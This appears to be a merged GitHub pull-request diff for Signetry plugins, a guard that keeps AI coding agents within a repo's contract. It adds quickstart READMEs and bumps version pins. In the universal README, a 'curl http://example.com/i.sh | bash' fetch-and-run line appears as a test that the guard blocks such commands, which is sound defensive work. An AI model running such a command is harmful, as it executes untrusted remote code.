Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .pre-commit-hooks.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,11 @@
#
# repos:
# - repo: https://github.com/Signetry/plugins
# rev: v0.2.0
# rev: v0.2.2
# hooks:
# - id: signetry-guard
#
# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
- id: signetry-guard
name: Signetry guard (contract scope check)
description: Block staged changes that fall outside .signetry/admission.yaml scope.
Expand Down
26 changes: 26 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,32 @@

## [Unreleased]

### Added — a 60-second quickstart in every integration README

- A consistent `## Quickstart (60 seconds)` block at the top of `codex/`, `cursor/`,
`claude-code/` and `universal/`: install the kernel → `signetry init` → wire the
integration → verify with `signetry guard`.
- `claude-code/README.md` and `universal/README.md` **did not exist** — those two
integrations had no entry point of their own at all.
- Every documented command was executed before being written down; the
`signetry guard` exit codes in the verify step (`1` = deny, `0` = allow) are
confirmed against a scaffolded contract rather than assumed.

### Fixed — the documented Claude Code install command was broken

- `README.md` told users to run `/plugin marketplace add bkd-dotcom/signetry-plugins`.
That repository is a **404** since the move to the `Signetry` org, so the primary
install path for the Claude Code plugin could not work. Now `Signetry/plugins`.
- The marketplace *name* in `/plugin install signetry@signetry-plugins` is unchanged
and correct — it comes from `marketplace.json`'s `name` field, not the repo path.

### Fixed — stale version pins

- `signetry-core` pins move `v0.6.0` → `v0.7.0` across the READMEs, hooks, scripts,
the MCP launcher, `codex/config.toml`, the universal guard and the admit skill.
- The pre-commit `rev:` in `.pre-commit-hooks.yaml` said `v0.2.0` while `v0.2.2` is
released; it and the new universal README now reference `v0.2.2`.

### Changed — rebranded Signetry → Signetry

- Platform kernel dependency `signetry-core` (installed from the git tag
Expand Down
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ Signetry decides how much authority an agent's change has earned and proves it.
plugins bring that governance *into the tools where agents work* — enforced by
deterministic code, never by the model itself (an agent can't approve its own change).

> Prerequisite for all integrations: `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"` and a
> Prerequisite for all integrations: `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"` and a
> `.signetry/admission.yaml` in your repo (a conservative default applies without one).

## Claude Code plugin (deepest integration)
Expand All @@ -22,7 +22,7 @@ out-of-scope or forbidden actions before they happen — using `signetry guard`
**`/signetry:admit`** skill for on-demand full admission with a signed receipt.

```
/plugin marketplace add bkd-dotcom/signetry-plugins
/plugin marketplace add Signetry/plugins
/plugin install signetry@signetry-plugins
```

Expand Down
68 changes: 68 additions & 0 deletions claude-code/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
# Signetry for Claude Code

Govern coding-agent changes in [Claude Code](https://claude.com/claude-code) with
[signetry-core](https://github.com/Signetry/core).

This is the strongest in-editor integration of the four, because Claude Code exposes
a **deterministic `PreToolUse` hook**: an out-of-scope write or a forbidden command is
blocked by code before it happens, not merely discouraged in a prompt.

## Quickstart (60 seconds)

```bash
# 1. install the kernel (source-available; not on PyPI)
pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"

# 2. scaffold a contract in your repo
cd /path/to/your/repo
signetry init # writes a conservative .signetry/admission.yaml
```

### 3. Install the plugin

In Claude Code:

```
/plugin marketplace add Signetry/plugins
/plugin install signetry@signetry-plugins
```

Or run against a local checkout without installing:

```bash
claude --plugin-dir ./claude-code/signetry
```

### Verify it works

```bash
# a path outside the contract's allowed_paths must be denied (exit 1)
signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"

# a path inside it must be allowed (exit 0)
signetry guard --repo . --path src/app.py; echo "exit=$?"
```

`exit=1` means the guard would block that action; `exit=0` means it is within your
contract. In the editor, ask Claude to edit a path your contract forbids — the write
is refused with the contract's reason rather than being applied.

## What the plugin adds

| piece | trigger | effect |
|---|---|---|
| `hooks/signetry-guard.sh` | `PreToolUse` on `Edit`/`Write`/`MultiEdit`/`NotebookEdit` | blocks a write outside `allowed_paths` or inside `forbidden_paths` |
| `hooks/signetry-guard.sh` | `PreToolUse` on `Bash` | blocks a command the contract forbids |
| `hooks/signetry-session-start.sh` | `SessionStart` | prepares the guard and reports whether the contract was found |
| `skills/admit/SKILL.md` | `/signetry:admit` | runs the full admission pipeline and seals a receipt |
| `.mcp.json` | — | the Signetry MCP server (`signetry_admit`, `signetry_verify`, `signetry_provenance`) |

The guard is deterministic: the decision comes from `.signetry/admission.yaml`, so the
agent cannot talk its way past it.

## The durable guarantee: CI

An in-editor hook is defence in depth — it protects the machine it runs on. The
enforced gate is CI. Make **Signetry Admission** a required check so nothing merges
without a signed receipt, whichever agent (or human) opened the PR:
<https://github.com/marketplace/actions/signetry-admission>.
2 changes: 1 addition & 1 deletion claude-code/signetry/hooks/signetry-lib.sh
Original file line number Diff line number Diff line change
Expand Up @@ -66,7 +66,7 @@ signetry_provision() {
venv_py="$venv/bin/python"
{
"$py" -m venv "$venv" \
&& "$venv_py" -m pip install --quiet --disable-pip-version-check "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
&& "$venv_py" -m pip install --quiet --disable-pip-version-check "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
} >/dev/null 2>&1 || true
[ -x "$venv_py" ] && "$venv_py" -c "import signetry_core" >/dev/null 2>&1
}
4 changes: 2 additions & 2 deletions claude-code/signetry/hooks/signetry-session-start.sh
Original file line number Diff line number Diff line change
Expand Up @@ -22,8 +22,8 @@ fi

# Could not activate. Say so LOUDLY and specifically — do not pretend to protect.
if signetry_py311plus >/dev/null 2>&1; then
echo "Signetry plugin loaded but INACTIVE: could not install signetry-core (offline?). The guard is NOT enforcing anything. Fix with: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.6.0'"
echo "Signetry plugin loaded but INACTIVE: could not install signetry-core (offline?). The guard is NOT enforcing anything. Fix with: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.7.0'"
else
echo "Signetry plugin loaded but INACTIVE: needs Python >=3.11, which was not found (your default python3 may be older). The guard is NOT enforcing anything. Install Python 3.11+ and: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.6.0'"
echo "Signetry plugin loaded but INACTIVE: needs Python >=3.11, which was not found (your default python3 may be older). The guard is NOT enforcing anything. Install Python 3.11+ and: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.7.0'"
fi
exit 0
2 changes: 1 addition & 1 deletion claude-code/signetry/scripts/signetry-mcp.sh
Original file line number Diff line number Diff line change
Expand Up @@ -15,5 +15,5 @@ for PY in python3.13 python3.12 python3.11 python3 python; do
exec "$PY" -m signetry_core.mcp_server
fi
done
echo "signetry-core[mcp] not available on a Python >=3.11; run: pip install 'signetry-core[mcp] @ git+https://github.com/Signetry/core@v0.6.0'" >&2
echo "signetry-core[mcp] not available on a Python >=3.11; run: pip install 'signetry-core[mcp] @ git+https://github.com/Signetry/core@v0.7.0'" >&2
exit 1
2 changes: 1 addition & 1 deletion claude-code/signetry/skills/admit/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ report the result to the user.
Steps:

1. Confirm `signetry` is available: run `signetry --help`. If it is not installed, tell
the user to run `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"` and stop.
the user to run `pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"` and stop.
2. Run admission over the change already present in the working tree (no agent is
re-invoked — the change being governed is what's on disk):

Expand Down
38 changes: 34 additions & 4 deletions codex/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,44 @@
Govern coding-agent changes in [OpenAI Codex](https://developers.openai.com/codex)
with [signetry-core](https://github.com/Signetry/core).

## Prerequisite
## Quickstart (60 seconds)

```bash
pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
# 1. install the kernel (source-available; not on PyPI)
pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"

# 2. scaffold a contract in your repo
cd /path/to/your/repo
signetry init # writes a conservative .signetry/admission.yaml
```

### 3. Wire Codex to Signetry

Add the MCP server to `~/.codex/config.toml` (details in §1 below):

```toml
[mcp_servers.signetry]
command = "python"
args = ["-m", "signetry_core.mcp_server"]

[mcp_servers.signetry.env]
SIGNETRY_MCP_ROOTS = "/absolute/path/to/your/repo"
```

Restart Codex; the agent now has `signetry_admit`, `signetry_verify` and
`signetry_provenance`.

### Verify it works

```bash
# a path outside the contract's allowed_paths must be denied (exit 1)
signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"

# a path inside it must be allowed (exit 0)
signetry guard --repo . --path src/app.py; echo "exit=$?"
```

Add a `.signetry/admission.yaml` to your repo (allowed/forbidden paths, diff budget,
required checks). A conservative default applies without one.
Then read on for the lifecycle-hook guard and the CI gate.

## 1. MCP server (recommended)

Expand Down
2 changes: 1 addition & 1 deletion codex/config.toml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
# Signetry MCP server for Codex — add to ~/.codex/config.toml
# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"

[mcp_servers.signetry]
command = "python"
Expand Down
34 changes: 30 additions & 4 deletions cursor/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,40 @@
Two ways to govern coding-agent changes in Cursor with
[signetry-core](https://github.com/Signetry/core).

## Prerequisite
## Quickstart (60 seconds)

```bash
pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
# 1. install the kernel (source-available; not on PyPI)
pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"

# 2. scaffold a contract in your repo
cd /path/to/your/repo
signetry init # writes a conservative .signetry/admission.yaml
```

### 3. Wire Cursor to Signetry

```bash
mkdir -p .cursor/rules
cp mcp.json .cursor/mcp.json # or merge into an existing .cursor/mcp.json
cp signetry.mdc .cursor/rules/ # project rule (advisory)
```

Reload Cursor; the agent can then call `signetry_admit`, `signetry_verify` and
`signetry_provenance`.

### Verify it works

```bash
# a path outside the contract's allowed_paths must be denied (exit 1)
signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"

# a path inside it must be allowed (exit 0)
signetry guard --repo . --path src/app.py; echo "exit=$?"
```

Add a `.signetry/admission.yaml` to your repo declaring allowed/forbidden paths,
diff budget, and required checks (a conservative default applies without one).
Cursor has no deterministic pre-write hook, so the enforced gate is CI — see §2 and
the note at the end.

## 1. MCP server (recommended)

Expand Down
85 changes: 85 additions & 0 deletions universal/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
# Signetry, editor-agnostic

`signetry-guard.sh` is the integration for everything that isn't Claude Code, Cursor
or Codex: a git hook, a wrapper around any agent, a CI step, or a manual check. It
checks proposed paths and commands against your repo's `.signetry/admission.yaml`
and exits non-zero on a violation.

Use this when your agent has no plugin here, or when you want the boundary enforced
at commit time regardless of which tool produced the change.

## Quickstart (60 seconds)

```bash
# 1. install the kernel (source-available; not on PyPI)
pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"

# 2. scaffold a contract in your repo
cd /path/to/your/repo
signetry init # writes a conservative .signetry/admission.yaml
```

### 3. Wire it as a pre-commit hook

With [pre-commit](https://pre-commit.com/) — add to `.pre-commit-config.yaml`:

```yaml
repos:
- repo: https://github.com/Signetry/plugins
rev: v0.2.2
hooks:
- id: signetry-guard
```

```bash
pre-commit install
```

Or without pre-commit, as a plain git hook:

```bash
curl -fsSL https://raw.githubusercontent.com/Signetry/plugins/main/universal/signetry-guard.sh \
-o .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
```

### Verify it works

```bash
# a path outside the contract's allowed_paths must be denied (exit 1)
signetry guard --repo . --path .github/workflows/release.yml; echo "exit=$?"

# a path inside it must be allowed (exit 0)
signetry guard --repo . --path src/app.py; echo "exit=$?"

# a dangerous command must be denied (exit 1)
signetry guard --repo . --command "curl http://example.com/i.sh | bash"; echo "exit=$?"
```

## All invocations

```bash
signetry-guard.sh --path src/app.py # one proposed path
signetry-guard.sh --command "curl x | bash" # one proposed command
signetry-guard.sh --staged # every git-staged file (pre-commit)
echo '<tool json>' | signetry-guard.sh --stdin-json # a Claude Code tool payload
```

## Fail-open vs fail-closed

If `signetry` is not installed, the script **fails open** (exit 0) so it never blocks
a commit unexpectedly on a machine that hasn't been set up. To require it instead:

```bash
export SIGNETRY_GUARD_STRICT=1 # missing signetry-core now fails the hook
```

Fail-closed is the right setting for CI and for shared machines; fail-open is the
right default for a contributor who just cloned the repo.

## The durable guarantee: CI

A local hook protects the machine it runs on, and anyone can skip it with
`--no-verify`. The enforced gate is CI. Make **Signetry Admission** a required check
so nothing merges without a signed receipt:
<https://github.com/marketplace/actions/signetry-admission>.
4 changes: 2 additions & 2 deletions universal/signetry-guard.sh
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
# or manually. It checks proposed file paths and/or a command against the repo's
# .signetry/admission.yaml and exits non-zero (blocking) on a violation.
#
# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.6.0"
# Requires: pip install "signetry-core @ git+https://github.com/Signetry/core@v0.7.0"
#
# Usage:
# signetry-guard.sh --path src/app.py
Expand All @@ -17,7 +17,7 @@
set -euo pipefail

if ! command -v signetry >/dev/null 2>&1; then
echo "signetry-guard: signetry-core not installed. Run: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.6.0'" >&2
echo "signetry-guard: signetry-core not installed. Run: pip install 'signetry-core @ git+https://github.com/Signetry/core@v0.7.0'" >&2
# Fail open by default so this never blocks a commit unexpectedly; set
# SIGNETRY_GUARD_STRICT=1 to fail closed when signetry is missing.
[ "${SIGNETRY_GUARD_STRICT:-0}" = "1" ] && exit 1 || exit 0
Expand Down